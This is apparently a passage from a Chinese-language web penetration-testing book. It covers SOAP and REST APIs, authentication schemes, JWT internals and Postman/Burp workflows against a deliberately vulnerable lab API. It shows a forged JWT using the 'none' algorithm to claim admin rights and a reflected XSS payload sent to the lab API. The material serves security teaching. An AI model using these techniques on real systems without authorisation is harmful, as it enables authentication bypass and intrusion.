总结
在本章中,我们探讨了 XXE 漏洞利用在攻防演练中的实际应用。接着,我们讨论了潜在的 DoS 情况,这些情况如果小心使用,能够在红队攻击中提供干扰。
我们还研究了基于 XML 的请求伪造攻击,不仅可以进行端口扫描,还能通过链式利用攻击来访问我们本来无法接触到的易受攻击的应用程序。XXE 更常见的用途是从目标应用程序中泄露重要信息。我们不仅研究了传统的数据外泄方式,还探讨了在需要带外通信的场景下如何进行数据外泄。通过我们的云 C2 服务器,我们能够通过盲目 XXE 攻击来外泄数据。
最后,我们发现如何通过 XXE 实现远程代码执行。虽然这种攻击不太常见,但一些老旧的应用程序部署仍然可能成为此类攻击的受害者。
正如本章所展示的那样,文件格式解析器看似无害,但随着功能的增加,复杂性也随之而来,而复杂性正如他们所说,是安全性的敌人。XML 仍然无处不在,当它正确部署并锁定时,它非常强大。不幸的是,这并非总是如此,我们会利用每一个小小的错误。在接下来的章节中,我们将把注意力集中在 API 上,研究如何有效地测试和攻击它们。到目前为止你所学到的所有技能都将派上用场。
第十一章 攻击 API
到目前为止,我们已经研究了攻击传统应用程序——那种带有用户界面、登录面板,可能还有某种仪表板的应用程序。现代应用程序通常实现了解耦的基础架构,与传统应用程序不同,它们被拆分成多个较小的应用程序或微服务,这些服务共同协作为用户提供功能。应用程序编程接口(API)并不是一个新概念。API 一词用于描述从 Windows 代码库(允许我们的用户级代码与操作系统内核交互)到提供笔记应用服务的 Web 服务等各种应用。显然,我们不会关注Windows API(WinAPI),而是会关注支撑互联网几乎一切的 Web 应用程序。当我在本章中提到 API 时,我指的是 Web 服务。
微服务是应用开发者采用的一个相对较新的概念,它摒弃了典型的单体应用设计,转而采用更加解耦的方式。其核心思想是将组件拆分为各自独立的实例,并通过一种通用语言(通常是通过网络,尤其是 HTTP 协议)进行访问。这种方式对开发和敏捷性大有裨益,因为它允许代码异步地推送到各个组件。开发人员可以专注于特定的组件,只要该组件的接口遵循约定的标准,就不必担心会破坏其他部分。
然而,这种方法并非没有缺点。随着这种模式的采用,新的安全挑战也随之而来。解耦的服务意味着更大的攻击面,涉及多个实例,无论是虚拟机还是 Docker 容器。更多的组件通常意味着更大的配置错误的风险,而这些错误当然可能被我们所利用。
组件之间的身份验证和授权强制执行也是一个新问题。如果我的单体应用将所有组件都集成在一起,我实际上不需要担心如何安全地与身份验证模块通信,因为它与应用在同一服务器上,有时甚至在同一个进程中。但如果我的身份验证模块被解耦,并且现在是一个在云中运行的 HTTP Web 服务,那么我就必须考虑我的用户界面与云中身份验证模块实例之间的网络通信。API 如何验证我的用户界面?这两个组件如何安全地协商身份验证响应,以便用户能够访问其他组件?
解耦对安全性也有其他有趣的影响。假设一个 API 是为 Windows 应用程序开发的来处理数据。API 会接受一个 HTTP 方法(如GET、PUT等),并以 JSON 或 XML 的形式响应。Windows 本地应用程序读取响应并显示在 JSON 对象中返回的错误信息。显示一个包含任意字符串的 Windows 弹窗本身并不危险。因为user32.dll的MessageBox()函数不会渲染它显示的字符串,所以无需对 API 响应中的危险 HTML 代码进行转义。现在假设同一个 API 突然被集成到一个全新的 Web 应用程序中。JSON 响应中未转义的 HTML 数据可能就会成为问题。
到本章结束时,你将能够熟练掌握:
-
不同类型的 Web API 架构
-
API 如何处理身份验证
-
JSON Web 令牌(JWT)
-
自动化 API 攻击
API 通信协议
从本质上讲,Web API 是简单的 HTTP 客户端-服务器环境。请求通过 HTTP 进入,响应通过 HTTP 出去。为了进一步标准化,开发了一些协议,许多 API 遵循其中之一来处理请求。这绝不是一个详尽的列表,但它很可能是你在实际应用中遇到的:
-
表现层状态转移(REST)
-
简单对象访问协议(SOAP)
当然,还有其他类型的协议可以供 API 使用,但尽管它们的协议不同,大多数相同的安全挑战仍然存在。最流行的协议是 RESTful API,其次是 SOAP API。
SOAP
SOAP 是由微软开发的,因为分布式组件对象模型(DCOM)是一个二进制协议,这使得通过互联网进行通信变得有些复杂。SOAP 则采用 XML,一种结构化且人类可读的语言,用于在客户端和服务器之间交换消息。
注意
SOAP 是标准化的,可以通过www.w3.org/TR/soap12/进行完整的审阅。
向 API 主机发送的典型 SOAP 请求如下所示:
POST /**UserData** HTTP/1.1
Host: internal.api
Content-Type: application/soap+xml; charset=utf-8
<?xml version="1.0"?>
<soap:Envelope soap:encodingStyle="http://www.w3.org/2003/05/soap-encoding">
<soap:Body >
<m:GetUserRequest>
<m:Name>**Administrator**</m:Name>
</m:GetUserRequest>
</soap:Body>
</soap:Envelope>
从服务器返回的响应,正如你所期望的那样,也是 XML 格式的:
HTTP/1.1 200 OK
Content-Type: application/soap+xml; charset=utf-8
<?xml version="1.0"?>
<soap:Envelope soap:encodingStyle="http://www.w3.org/2003/05/soap-encoding">
<soap:Body >
<m:GetUserResponse>
**<m:FullName>Dade Murphy</m:FullName>**
**<m:Email>dmurphy@webapp.internal</m:Email>**
**<m:IsAdmin>True</m:IsAdmin>**
</m:GetUserResponse>
</soap:Body>
</soap:Envelope>
获取用户详细信息的过程需要大量开销。SOAP 需要一个定义 XML 版本的头部,信封规范,一个主体,最后是参数。响应也有类似的结构要求。
尽管 SOAP 在今天的标准下显得臃肿,但其设计经过时间考验,已经存在了很长时间。作为攻击者,我们不关心性能或网络带宽的利用率。我们只需要知道所有可能的注入点,并理解身份验证是如何执行的。
虽然 Envelope、Body 和 Header 标签是标准化的,但 body 的内容会根据请求类型、应用程序和 Web 服务的实现有所不同。GetUserRequest 操作及其 Name 参数特定于 /UserData 端点。为了寻找潜在的漏洞,我们需要了解所有可能的端点及其相应的操作或参数。在黑盒场景中,我们如何获取这些信息?
SOAP 请求和响应的 XML 结构通常在 Web 服务描述语言 (WSDL) 文件中定义。对于公共 API,可以通过直接查询 API 并在特定的端点 URL 后附加 ?wsdl 来获得此文件。如果配置正确,Web 服务将以一个包含该端点所有可能操作和参数的大 XML 文件作出响应:

图 11.1:公共 API 的 WSDL 响应
这个文件在进行互动时非常有用,但并非总是可用。如果 WSDL 无法下载,最好的做法是直接联系客户端,索要定义或请求示例列表。也有可能客户端会拒绝,并希望从外部威胁的角度测试 API。
最后的办法显然是观察 Web、移动或本地应用与 API 的交互,捕获 Burp 中的 HTTP 流量,并通过 Intruder 或 Scanner 模块重放它。这显然不是理想的做法,因为在正常的应用操作中,脆弱的参数或操作可能永远不会被调用。当范围允许时,最好直接从开发人员那里获取 WSDL。
REST
REST 是现代应用中最常见的架构风格,可能是你会遇到的主要架构。它易于实现,且易于阅读,因此被开发人员广泛采用。虽然它的成熟度不如 SOAP,但它提供了一种简单的方式来实现微服务的解耦设计。
与 SOAP 类似,RESTful API 通过 HTTP 操作,并且大量使用协议动词,包括但不限于:
-
GET -
POST -
PUT -
DELETE
如果我们希望查询某个用户的信息,一个 RESTful API 可能会通过 /users 端点实现一个 GET 请求。查询将通过 URL 参数提交:
**GET /users?name=admin HTTP/1.1**
Host: api.ecorp.local:8081
**Content-Type: application/json**
**Accept: application/json**
**Authorization: Bearer b2YgYmFkIG5ld3M**
Cache-Control: no-cache
在请求中需要注意的是 Content-Type、Accept 和 Authorization 头。Content-Type 头指定了传入数据应由 API 以何种格式处理。Accept 头指定了客户端在服务器响应中可接受的格式。典型的 API 将支持 JSON 或 XML,或有时两者兼容。最后,Authorization 头指定了一个持有者令牌,对于要求身份验证的端点,这将是必须的。这使得服务器能够识别发起请求的用户,并确定他们是否被授权执行此操作。
一些自定义 API 可能会使用自定义头部进行身份验证和授权,例如 X-Auth-Token,但其原理是相同的。一旦我们知道身份验证和授权令牌是如何在客户端和服务器之间传递的,我们就可以开始寻找潜在的弱点。
我们之前请求的服务器响应可以预见地简单且易于读取:
**HTTP/1.0 200 OK**
Server: WSGIServer/0.1 Python/2.7.11
Content-Type: text/json
{"user": {"name": "**admin**", "id": 1, "fullname": "Dade Murphy"}}
一个 200 HTTP 响应表示请求成功,我们的令牌是有效的,我们现在得到了一个包含管理员用户所有详细信息的 JSON 对象。
RESTful API 通常使用 JSON 进行请求和响应,但没有严格的标准,开发者可以选择使用自定义的 XML 协议,甚至是原始二进制数据。虽然这种做法不常见,因为微服务的互操作性和维护性变得困难,但也并非闻所未闻。
API 身份验证
解耦带来了一些身份验证和授权方面的挑战。虽然有些 API 不要求身份验证并不罕见,但你遇到的某些 Web 服务可能会要求客户端以某种方式进行身份验证。
那么,我们如何实现 API 的身份验证呢?这个过程与典型的应用程序没有太大区别。其核心是,身份验证要求你提供某些你知道的信息,并可选地提供某些你拥有的东西,这些信息通常对应于 API 数据库中的一条记录。如果你知道的东西和你拥有的东西是保密的,并且只有持有这些信息的人(假设是这样的人)才能访问它,那么 API 可以合理地确认提供这些信息的客户端获得了访问权限。由于 HTTP 是无状态的,API 现在只需要跟踪这个特定的客户端。
传统的 Web 应用程序会接受身份验证数据(即你知道的信息,通常是用户名和密码组合),并可能需要第二重因素(即你拥有的东西,例如一次性密码、短信验证码或手机推送通知)。一旦应用程序验证了你的身份,它将发放一个会话 ID,浏览器会通过 Cookies 在后续身份验证请求中传递此 ID。
API 也类似,需要在每次需要身份验证的请求中传递某种秘密密钥或令牌。这个令牌通常由 API 生成,在通过其他方式成功验证后发给用户。尽管典型的 Web 应用程序几乎总是使用 Cookie 头部来跟踪会话,API 则有更多选择。
基本身份验证
是的,这种方式在 Web 应用程序中也很常见,但由于安全问题,现代应用程序一般不再使用。基本身份验证会通过 Authorization 头部以明文形式传递用户名和密码:
GET /users?name=admin HTTP/1.1
Host: api.ecorp.local:8081
Content-Type: application/json
Accept: application/json
**Authorization: Basic YWRtaW46c2VjcmV0**
Cache-Control: no-cache
这种方式显而易见的问题是,凭据以明文方式在网络中传输,攻击者只需要捕获一次请求就能破解用户。会话 ID 和令牌仍然能给攻击者提供访问权限,但它们可以过期或被列入黑名单。
基本认证应该通过 HTTPS 发送,因为用户凭证是以明文方式传输的。现代 API 通常避免使用这种认证方式,因为凭证可能被代理缓存,或者被中间人攻击(MITM)拦截,甚至可能从内存转储中提取出来。如果 API 使用 LDAP 来验证用户的 Active Directory 域,最好不要在每次 API 请求时都传输用户域凭证。
API 密钥
更常见的认证方式是通过提供一个密钥或令牌来进行 API 请求。密钥是与访问 Web 服务的账户唯一相关的,应该像密码一样保密。然而,与密码不同,密钥通常不是由用户生成,因此不太可能在其他应用程序中被重复使用。虽然没有行业标准来规定如何将此值传递给 API,开放授权(OAuth)和 SOAP 协议中已有一些定义要求。常见的传递方式包括自定义头部、Cookie头部,甚至通过GET参数发送令牌或密钥。
使用GET URL 参数传递密钥通常是一个不好的主意,因为该值可能会被浏览器、代理和 Web 服务器日志文件缓存:
GET /users?name=admin&**api_key=aG93IGFib3V0IGEgbmljZSBnYW1lIG9mIGNoZXNz** HTTP/1.1
Host: api.ecorp.local:8081
Content-Type: application/json
Accept: application/json
Cache-Control: no-cache
另一种方式是使用自定义头部将 API 密钥与请求一起发送。这是一种稍微更好的替代方法,但仍然需要通过 HTTPS 保持保密,以防止 MITM 攻击捕获此值:
GET /users?name=admin HTTP/1.1
Host: api.ecorp.local:8081
Content-Type: application/json
Accept: application/json
**X-Auth-Token: aG93IGFib3V0IGEgbmljZSBnYW1lIG9mIGNoZXNz**
Cache-Control: no-cache
承载者认证
类似于密钥,承载令牌也是秘密值,通常通过Authorization HTTP 头部传递,但与使用Basic类型不同,我们使用Bearer类型。对于 REST API,只要客户端和服务器就如何交换此令牌达成一致,就没有标准来定义这个过程,因此你可能会在实际中看到稍有不同的实现:
GET /users?name=admin HTTP/1.1
Host: api.ecorp.local:8081
Content-Type: application/json
Accept: application/json
**Authorization: Bearer eyJhbGciOiJIUzI1NiIsInR5cCI6IkpXVCJ9.eyJpZCI6IjEiLCJ1c2VyIjoiYWRtaW4iLCJpc19hZG1pbiI6dHJ1ZSwidHMiOjEwNDUwNzc1MH0.TstDSAEDcXFE2Q5SJMWWKIsXV3_krfE4EshejZXnnZw**
Cache-Control: no-cache
上述承载令牌是 JWT 的一个示例。它比传统的不透明令牌稍长,但有一些优势。
JWT
JWT 是一种相对较新的认证机制,在 Web 服务中逐渐占据市场份额。它是一种紧凑、自包含的方式,用于在两方之间安全地传递信息。
JWT 非常灵活,且易于在认证协议中实现。SOAP 和 OAuth 都可以轻松实现 JWT 作为承载者。
注意
OAuth 的相关信息可以在oauth.net/2/找到。
JWT(JSON Web Token)本质上是通过基于哈希的消息认证码(HMAC)和一个密钥,或者使用 RSA 密钥对签名的声明。HMAC 是一种可以用来验证数据完整性和消息认证的算法,非常适合 JWT。JWT 由一个base64url编码的头部、有效载荷和相应的签名组成:
base64url(**header**) . base64url(**payload**) . base64url(**signature**)
令牌的头部将指定用于签名的算法,负载将是声明(例如,我是用户 1 并且我是管理员),第三部分将是签名本身。
如果我们检查前面的持有者令牌,我们可以看到典型 JWT 的组成。它包含三个由句号分隔的信息块,使用 URL 安全的 Base64 编码。
注意
URL 安全的 Base64 编码使用与传统 Base64 相同的字母表,唯一的区别是将字符+替换为-,将/替换为_。
eyJhbGciOiJIUzI1NiIsInR5cCI6IkpXVCJ9
.
eyJpZCI6IjEiLCJ1c2VyIjoiYWRtaW4iLCJpc19hZG1pbiI6dHJ1ZSwidHMiOjEwNDUwNzc1MH0
.
TstDSAEDcXFE2Q5SJMWWKIsXV3_krfE4EshejZXnnZw
第一部分是头部,描述了用于签名的算法。在这种情况下是使用 SHA-256 的 HMAC。类型被定义为 JWT。
我们可以在浏览器控制台中使用 JavaScript 的atob()函数来解码该部分为可读文本:
> atob('eyJhbGciOiJIUzI1NiIsInR5cCI6IkpXVCJ9')
"{"alg":"**HS256**","typ":"**JWT**"}"
第二部分或负载通常是任意数据,表示某个特定的声明,也称为负载。在这种情况下,它告诉服务器我是一个名为admin的管理员用户,用户 ID 为1,时间戳为104507750。时间戳是一个好主意,因为它们可以防止重放攻击。
> atob('eyJpZCI6IjEiLCJ1c2VyIjoiYWRtaW4iLCJpc19hZG1pbiI6dHJ1ZSwidHMiOjEwNDUwNzc1MH0')
"{"id":"**1**","user":"**admin**","is_admin":**true**,"ts":**104507750**}"
最后一部分是base64url编码的 32 字节 SHA-256 HMAC 签名。
当 API 服务器接收到这个三部分的令牌时,它将:
-
解析头部以确定算法:在这种情况下是 HMAC SHA-256。
-
计算由句号连接的前两个
base64url编码部分的 HMAC SHA-256 值:HMAC-SHA256(base64url(header) + "." + base64url(payload), **"secret_key"**) -
如果签名验证通过,则也认为负载有效。
JWT 怪癖
虽然这个过程目前在密码学上是安全的,但我们有几种方法可以篡改这个令牌,试图欺骗不完善的 API 实现。
首先,虽然头部和负载是签名的,但我们实际上可以修改它们。令牌数据在我们的控制之下。唯一我们不知道的是密钥。如果我们修改了负载,签名将失败,并且我们预计服务器会拒绝我们的请求。
但是请记住,头部部分在签名验证之前会被解析。这是因为头部包含关于 API 如何验证消息的指令。这意味着我们可能会更改这些数据,并破坏实现中的某些内容。
有趣的是,JWT 的请求评论(RFC)规范了一个名为"none"的受支持签名算法,可以通过实现来假设该令牌是通过其他方式验证的:

图 11.2:RFC 提到使用"none"算法的未加密 JWT
注意
完整的 JWT RFC 可以在这里查看:tools.ietf.org/html/rfc7519。
一些 JWT 库将遵循标准并支持这个特定的算法。那么,当我们在前面的负载中使用"none"算法时,会发生什么呢?
我们的令牌看起来像这样,最后一个句号后面没有附加签名:
eyJhbGciOiJub25lIiwidHlwIjoiSldUIn0
.
eyJpZCI6IjEiLCJ1c2VyIjoiYWRtaW4iLCJpc19hZG1pbiI6dHJ1ZSwidHMiOjEwNDUwNzc1MH0
.
[blank]
如果服务器端库遵循 JWT RFC,则该令牌将被验证并认为是有效的。我们可以使用 Burp Suite JSON Web Tokens扩展来测试这个修改后的令牌,该扩展可以从 BApp Store 下载:

图 11.3:JWT Burp 扩展
我们可以在第一个字段中输入 JWT 值,并提供一个虚拟密钥。由于我们不再使用带密钥的 HMAC,这个值将被忽略。扩展应该确认签名和 JWT 令牌是有效的:

图 11.4:没有签名的 JWT 被视为有效
注意
关于这种类型攻击的更多信息可以在 Auth0 上找到:auth0.com/blog/critical-vulnerabilities-in-json-web-token-libraries/。
这个简单的攻击在使用不安全 JWT 实现的库的 API 中可能会带来毁灭性的后果。伪造认证票证的能力对于我们作为攻击者来说非常有用。
Burp JWT 支持
手动拆分头部、载荷和签名部分有些繁琐,我们希望能自动化这个过程。如果我们要攻击服务器上的 JWT 实现,我们可能还需要修改一些参数。这可能会很麻烦,尤其是每次都需要重新计算签名时。
JWT4B 扩展程序是为了检查请求中的 JWT 数据、解析它并验证签名,所有这些操作都可以在 Burp Suite 用户代理中完成。
注意
JWT4B 可以从 GitHub 下载:github.com/mvetsch/JWT4B。
下载完 JWT4B JAR 文件到磁盘后,我们可以手动将其加载到 Burp 中。在Extender选项卡下,点击Extensions,然后点击Add按钮:

图 11.5:Burp 扩展选项卡
在Load Burp Extension弹出窗口中,我们可以告诉 Burp 从磁盘上的位置加载 JWT4B JAR 文件:

图 11.6:加载 JWT4B JAR 扩展文件
JWT4B 将允许我们拦截包含 JWT 的授权头请求,替换载荷,并重新签名,使用相同的密钥(如果我们有)或随机密钥,甚至可以更改算法:

图 11.7:动态修改 JWT
JWT4B 使得攻击 JWT 实现变得更加简单,因为它可以为我们完成一些繁重的工作。
Postman
在测试典型的 Web 应用程序时,我们首先配置系统代理指向 Burp Suite。现在,我们所有的请求都可以在使用应用程序时进行检查。发起攻击非常简单,因为这些请求是由 Burp 可以通过网络看到的用户界面为我们构建的。在正常操作中,用户输入数据到搜索字段中,例如,应用程序会构造包含所有适当参数的GET或POST请求,然后通过网络发送出去。所有这些有效的请求现在都可以通过攻击代理进行重放、修改和扫描。当有用户界面来驱动流量生成时,发现过程变得更加简单。
如果没有用户界面组件,只有一个 API 端点和一些文档可供参考,那么构建一系列curl请求并手动解析响应将非常繁琐。如果交互需要身份验证,获取令牌对于复杂的 Web 服务来说将是一场噩梦。
Postman是一个极好的工具,我们可以用它来构建一系列针对目标 API 的请求,使得测试变得轻松。如果客户和开发人员配合良好,尤其如此。为了更高效地利用测试时间,客户可以向我们提供一系列已生成的请求,这将大大加快应用程序的测试过程。
我们的工作通常有时间限制,构建 RESTful API 的攻击载荷非常耗时,即使有文档也不例外。像 Postman 这样的工具支持集合,它本质上是一个完全可定制的 API 测试序列。开发人员或其他测试人员可以创建这些集合,集合中包含了每个可能的端点请求及其所有可能的参数。它们甚至可以自动捕获数据,例如身份验证令牌,并将其自动插入到后续的请求中。Postman 使得 API 测试变得简单;开发人员喜欢它,我们也喜欢。
作为攻击者,我们可以从客户那里获取一整套已配置好的集合,并在我们自己的环境中运行它。我们可以准确地看到 API 应该如何工作,正如开发人员所预期的那样。Postman 还方便地支持上游代理,这样我们就可以通过 Burp 将所有格式正确的请求从集合运行器推送出去,并快速开始通过 Burp 的 Intruder、Scanner 和 Repeater 模块进行攻击。
Postman 有一个免费版,每月支持最多 1000 次调用,但如果你发现自己测试越来越多的 API,Pro 版和企业版可能是一个不错的投资。
注意
Postman 有免费版、专业版和企业版,可以在www.getpostman.com/下载。
为了演示目的,本章我们将使用 Matt Valdes 提供的脆弱 API Docker 应用程序,网址为github.com/mattvaldes/vulnerable-api。在我们的演示中,API 运行在http://api.ecorp.local:8081/上。
安装了 Docker 后,脆弱的 API 可以通过 Linux 终端使用docker run命令下载并执行。我们还可以使用-p选项指定要在容器中暴露的端口。最后,--name参数将指示 Docker 去获取mkam/vulnerable-api-demo容器:
root@kali:~# docker run -p 8081:8081 --name api mkam/vulnerable-api-demo
CRIT Supervisor running as root (no user in config file)
WARN Included extra file "/etc/supervisor/conf.d/vAPI.conf" during parsing
INFO RPC interface 'supervisor' initialized
CRIT Server 'unix_http_server' running without any HTTP authentication checking
INFO daemonizing the supervisord process
INFO supervisord started with pid 10
system type 0x794c7630 for '/var/log/supervisor/supervisord.log'. please report this to bug-coreutils@gnu.org. reverting to polling
INFO spawned: 'vAPI' with pid 12
INFO success: vAPI entered RUNNING state, process has stayed up for > than 1 seconds (startsecs)
为了测试功能,我们可以使用curl对我们刚启动的 Docker API 的根 URL 执行GET请求:
root@kali:~# curl http://api.ecorp.local:8081/
{
"response": {
"Application": "vulnerable-api",
"Status": "running"
}
}
安装
Postman 客户端有 Linux、Mac 和 Windows 版本。为了简单起见,我们将在攻击机 Kali 上使用 Linux 客户端。在 Windows 和 Mac 上安装相对简单,但在 Linux 上你可能需要安装一些依赖项才能启动。
Postman 客户端是一个 Electron 应用程序,具有相当的可移植性,但它确实需要libgconf,该库在 Kali 的仓库中提供。我们可以通过终端使用apt-get install命令安装这个依赖,命令如下:
root@kali:~/tools# apt-get install libgconf-2-4
Reading package lists... Done
Building dependency tree
[...]
为了获取最新编译的 Postman 版本,我们可以从其 Linux x64 仓库使用wget命令下载 gzipped tarball,网址为dl.pstmn.io/download/latest/linux64。wget命令会将文件保存为postman.tar.gz,存储在本地目录中:
root@kali:~/tools# wget https://dl.pstmn.io/download/latest/linux64 -O postman.tar.gz
[...]
HTTP request sent, awaiting response... 200 OK
Length: 78707727 (75M) [application/gzip]
Saving to: 'postman.tar.gz'
[...]
我们将使用tar zxvf命令将内容提取到我们的tools目录中,如下所示:
root@kali:~/tools# tar zxvf postman.tar.gz
Postman/
Postman/snapshot_blob.bin
[...]
安装完依赖项后,可以通过调用预编译的Postman二进制文件来启动 Postman。此文件位于我们刚从 tarball 中提取的Postman/目录中:
root@kali:~/tools# ~/tools/Postman/Postman

图 11.8:在 Linux 上运行的 Postman 客户端
为了简单测试基本功能,我们可以创建一个新的请求,默认工作区将打开。
用户界面大部分都相当直观。我们可以输入 API URL,修改 HTTP 方法,传递自定义头信息,甚至通过几次点击构建有效的授权。
作为测试,我们可以发出与之前用curl发出的相同请求。响应将出现在正文选项卡中,如下图所示,并且可以选择美化内容。当响应为大量数据时,Postman 可以自动解析并将其格式化为 XML、HTML、JSON 或纯文本格式,这一特性非常受欢迎:

图 11.9:向 API 发送的 Postman 请求示例
Postman 的一个优势是能够记录我们在左侧历史面板中所做的所有请求。这使得我们,作为 API 开发人员或质量保证(QA)分析师,能够将请求和响应保存在集合中。
开发人员可以导出集合,我们则可以在参与过程中导入。这节省了我们大量构建自己查询的时间,并可以直接开始寻找安全漏洞。
上游代理
Postman 还支持通过系统代理或自定义服务器路由请求。明智的选择是 Burp 或 OWASP ZAP。一旦我们导入并运行集合,每个请求都会被捕获,并准备好进行检查和重放。
在文件和设置下,找到一个代理标签,应该可以让我们指向本地的 Burp 代理,默认情况下是127.0.0.1,端口为8080:

图 11.10:Postman 上游代理配置
我们在 Postman 中的所有后续请求也将显示在 Burp 的代理 HTTP 历史记录中:

图 11.11:Burp 显示 Postman 生成的请求
环境
为了构建有效的集合,我们应该为每个目标 API 创建一个新的 Postman 环境。Postman 环境允许我们在变量中存储数据,这对于执行一些操作非常有用,例如在集合中的请求之间传递授权令牌。要创建新的环境,我们可以使用左上角的创建新环境标签:

图 11.12:在 Postman 中创建新环境
在弹出窗口中,输入一个有意义的名称,然后点击添加来创建一个新的空环境:

图 11.13:添加新的 Postman 环境
请求现在可以与我们的 ECorp API 环境关联。集合也可以在特定环境中运行,允许在请求之间创建和传递变量。
以下图显示了一个简单的GET请求排队等待在 ECorp API 环境中运行:

图 11.14:为请求指定环境
集合
如前所述,集合只是按照特定顺序排列的一组 API 请求。它们可以导出为 JSON 格式并导入到任何 Postman 客户端中,使其具有很强的可移植性。
为了展示 Postman 集合的强大功能,我们将为我们的易受攻击 API 实例创建一个集合,实例名为api.ecorp.local,运行在端口8081上。
如果我们查看 Matt Valdes 的易受攻击 API 的文档,我们会注意到大多数交互都需要通过自定义的X-Auth-Token HTTP 头传递授权令牌。虽然大多数 RESTful API 尝试使用Authorization头传递令牌,但自定义头并不少见。这就是为什么像 Burp 和 Postman 这样高度可定制的工具非常适合进行安全测试,因为即使我们遇到偏离常规的情况,它们也能让我们自动化大部分工作。
注意
文档可以在README.md中找到,链接地址为github.com/mattvaldes/vulnerable-api。
文档指出,如果我们发送一个包含 JSON 格式认证数据的 POST 请求到 /tokens,我们可以获得一个新的令牌。默认的凭证是 user1 和 pass1。我们的认证请求 POST 请求体应该如下所示:
{
"auth": {
"passwordCredentials": {
"username": "**user1**",
"password": "**pass1**"
}
}
}
API 将返回一个包含后续认证请求所需令牌的 JSON 格式对象:
{
"access": {
"token": {
"expires": "**[Expiration Date]**",
"id": "**[Token]**"
},
"user": {
"id": 1,
"name": "user1"
}
}
}
然后,我们可以通过 X-Auth-Token 头将 id 值传递给 /user/1 端点,请求应该成功:

图 11.15:成功认证请求到漏洞 API
现在我们有了一系列请求,我们想要创建一个集合并自动化一些测试。
再次点击左上角的 Create New 按钮,选择 Collection:

图 11.16:创建新的集合
在弹出框中,我们可以输入名称,并在需要时添加描述,然后点击 Create 按钮:

图 11.17:创建新的集合
我们所做的所有请求都会记录在工作区的 History 标签中。我们可以选择需要的请求,并点击右上角 Send 旁边的 Save 按钮:

图 11.18:将请求保存到集合中
在底部,我们应该能看到新的 ECorp API 集合,并可以选择它来保存我们的请求:

图 11.19:选择目标集合
对任何必须加入此集合的请求重复此过程。运行时,我们预计我们的集合会在第一个请求中获得新的令牌,并使用新提供的令牌发出第二个认证请求到 /user/1:

图 11.20:认证的 Postman 请求
此时,我们可以将其导出并导入到其他地方。目前,我们的集合可以运行,但令牌不会传递到第二个请求。
为此,我们需要利用 Postman 中的一个功能,叫做 Tests。每个请求都可以配置为在继续之前执行测试并执行某个操作。通常,这些可以用于验证请求是否成功。开发人员可以利用 Tests 来确保他们刚刚推送的代码没有破坏任何东西。
测试是用 JavaScript 编写的,所以一点点编程知识将大有帮助。幸运的是,我们可以复用现成的测试来满足我们的需求。
对于我们在 ECorp API 集合中的 Get Auth Token 请求,测试需要检查响应,解析为 JSON,并提取令牌 ID。为了将其传递给另一个请求,我们可以利用 ECorp API 环境,并将数据存储在一个名为 auth_token 的变量中。
实现这一点的代码相当简单,尽管如果您不熟悉 JavaScript 可能会有点奇怪。每个pm.test条目都是按照列出的顺序执行的单独测试。如果任何测试失败,运行将提醒我们:
pm.test(**"Status code is 200"**, function () {
**pm.response.to.have.status(200)**;
});
pm.test**("Save Auth Token"**, function () {
var data = **pm.response.json()**;
pm.environment.set(**"auth_token"**, **data['access']['token']['id']**);
});
第一个测试只是检查 API 的 HTTP 响应是否为200。其他任何响应都会在集合运行期间引发错误。
第二个测试将解析响应文本为 JSON 并将其存储在本地的data变量中。如果您回忆一下/tokens响应的层次结构,我们需要使用 JavaScript 数组表示法访问access.token字段中的id值:data['access']['token']['id']。
使用pm.environment.set函数,我们将id值存储在auth_token环境变量中,使其可供其他请求使用。
每次运行此集合中的请求时,auth_token都将被更新。可以通过点击名称旁边的“眼睛”图标来检查环境:

图 11.21:检查 Postman 环境
我们对/user/1的第二个请求要求通过X-Auth-Token标头传递此值。为此,我们添加一个新的自定义标头,并在值字段中键入{{以显示现有变量列表。Postman 将为我们自动完成现有变量:

图 11.22:在请求中使用环境变量
点击发送,我们可以验证身份验证请求是否成功:

图 11.23:身份验证请求成功
Collection Runner
集合可以使用熟悉的 JSON 格式导出和导入。导入是一个简单的拖放操作。开发人员和质量保证人员可以像之前一样创建这些集合,导出它们,并作为参与的一部分将文件发送给我们。这极大地简化了我们评估 API 的工作,因为耗时的工作已经完成。
导入后,我们的集合可以通过 Postman Runner 执行,可通过菜单中新建按钮旁边的Runner按钮访问:

图 11.24:打开 Runner 组件
打开一个新的Collection Runner窗口,其中包含所有导入的集合。选择 ECorp API 集合,ECorp API 环境,并点击运行 ECorp API:

图 11.25:运行 ECorp 集合
如果一切顺利,我们应该看到所有都是绿色的,因为我们的测试应该已成功,这意味着身份验证请求成功,令牌被提取,并且用户查询返回了一些数据:

图 11.26:成功的 Postman 集合运行
更重要的是,集合中的所有请求都被传递到我们的 Burp 代理:

图 11.27:Burp 捕获的 Postman 集合运行
从这里,我们可以启动 Burp Scanner、Intruder 和 Sequencer 模块,或者重放任何请求以操控数据并寻找漏洞,正如我们在传统应用程序中常做的那样。
攻击考虑事项
针对基于 HTTP 的 API 的攻击与传统的 Web 应用程序并无太大不同。我们需要遵循相同的基本程序:
-
确定注入点
-
发送意外输入并观察 API 如何响应
-
寻找常见嫌疑:SQL 注入、XXE、XSS、命令注入、LFI 和 RFI
我们可以利用已经掌握的所有技巧和方法来发现这些问题,但也有一些例外情况。
典型 Web 应用程序中的 XSS 漏洞很容易证明。你发送输入,输入作为 HTML 或 JavaScript 被反射回客户端,浏览器渲染内容并执行代码。
对于 Web 服务,响应通常不会被渲染,主要是因为响应头中的Content-Type设置。这通常是 JSON 或 XML,大多数浏览器不会将其渲染为 HTML。我说的是“大多数”,因为不幸的是,一些旧版浏览器可能仍会渲染内容,忽略服务器声明的内容类型,而是根据响应中的数据猜测。
在api.ecorp.local/user/1 URL 中发现了以下反射型输入问题:
GET /user/1**<svg%2fonload=alert(1)>** HTTP/1.1
Content-Type: application/json
X-Auth-Token: 3284bb036101252db23d4b119e60f7cc
cache-control: no-cache
Postman-Token: d5fba055-6935-4150-96fb-05c829c62779
User-Agent: PostmanRuntime/7.1.1
Accept: */*
Host: api.ecorp.local:8081
Connection: close
我们传入 JavaScript 负载并观察到 API 将其原封不动地返回给客户端,且没有进行转义:
HTTP/1.0 200 OK
Date: Tue, 24 Apr 2018 17:14:03 GMT
Server: WSGIServer/0.1 Python/2.7.11
Content-Length: 80
**Content-Type: application/json**
{"response": {"error": {"message": "user id 1**<svg/onload=alert(1)>** not found"}}}
通常,这就足以证明存在漏洞,并且用户可能会通过社交工程攻击成为目标。然而,如果仔细观察,你会注意到内容类型设置为application/json,这意味着现代浏览器不会将响应渲染为 HTML,从而使我们的负载无效。
